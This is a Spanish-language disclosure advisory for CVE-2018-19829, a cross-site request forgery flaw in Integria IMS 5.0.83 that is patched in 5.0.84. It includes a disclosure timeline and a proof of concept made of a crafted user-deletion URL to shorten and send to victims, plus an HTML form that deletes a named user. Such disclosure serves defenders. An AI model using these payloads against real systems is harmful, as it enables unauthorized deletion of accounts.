CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Las vulnerabilidades Cross-Site Request Forgery (CSRF)  encontradas en el software Integria IMS 5.0.83  han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-19829 .

CVE-2018-19829

Integria IMS 5.0.83 - Cross-Site Request Forgery (CSRF)

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

  • 📅 Vulnerabilidad descubierta por Javier Olmedo  el 08/11/2018
  • 💣 Publicada el 17/12/2018
  • 🐛 CVE-2018-19829
  • 🔗 Link del software Integria IMS
  • 🐞 Versión vulnerable = 5.0.83 y anteriores
  • ✔️ Solución: actualizar a la versión 5.0.84

Vector de ataque / Criticidad de la explotación

CRITICIDAD - 🟠 MEDIA 🟠

A través de las vulnerabilidades Cross-Site Request Forgery (CSRF) , un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.

Parámetros / Recursos vulnerables

Durante la auditoria, se observó que el formulario encargado de borrar los usuarios carecía de token anti-CSRF.

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Ejemplo de petición POST para borrar un usuario

Esto, permitiría a un atacante crear un enlace malicioso modificando el valor del parámetro id para realizar acciones de eliminación de usuarios sobre la aplicación, además, también se comprobó que las peticiones POST podían ser cambiadas al método GET.

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

Prueba de concepto (PoC)

En la siguiente prueba de concepto se ha dividido la pantalla en dos partes, en la parte izquierda se encontraría un usuario en el panel de administración, mientras que en la parte derecha, un atacante genera un botón malicioso previamente configurado para realizar la acción de eliminación de usuarios.

NOTA

Se ha utilizado un formulario para la explotación de la vulnerabilidad, pero en un escenario real, a un atacante le bastaría con generar el enlace y acortar la URL (Google URL Shortener ) para ofuscar la acción e intentar explotar la vulnerabilidad con éxito, ya que las peticiones pueden ser cambiadas al método GET, por esta razón se explican dos maneras de explotarla.

Metodo 1

Acortar la siguiente URL y enviarlo a la víctima.

URL: http://localhost/integria/ajax.php?page=include/ajax/delete_item_general&delete_item=1&name=delete_user&id=[ID]

Metodo 2

Generar un botón malicioso

CVE-2018-19829 Integria IMS 5.0.83 - Cross-Site Request Forgery

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/integria/index.php">
   <input type="hidden" name="sec" value="users" />
   <input type="hidden" name="sec2" value="godmode&#47;usuarios&#47;lista&#95;usuarios" />
   <input type="hidden" name="borrar&#95;usuario" value="jolmedo" />
   <input type="submit" value="Eliminar usuario jolmedo" />
  </form>
 </body>
</html>

Timeline

  • 08/11/2018 Descubrimiento
  • 08/11/2018 El desarrollador conoce la vulnerabilidad
  • 01/12/2018 Solicitud CVE
  • 03/12/2018 Asignación de CVE-2018-19829 por MITRE
  • 10/12/2018 Parcheada
  • 14/12/2018 Publicación vulnerabilidad

Referencias

Un saludo a todos!! 👋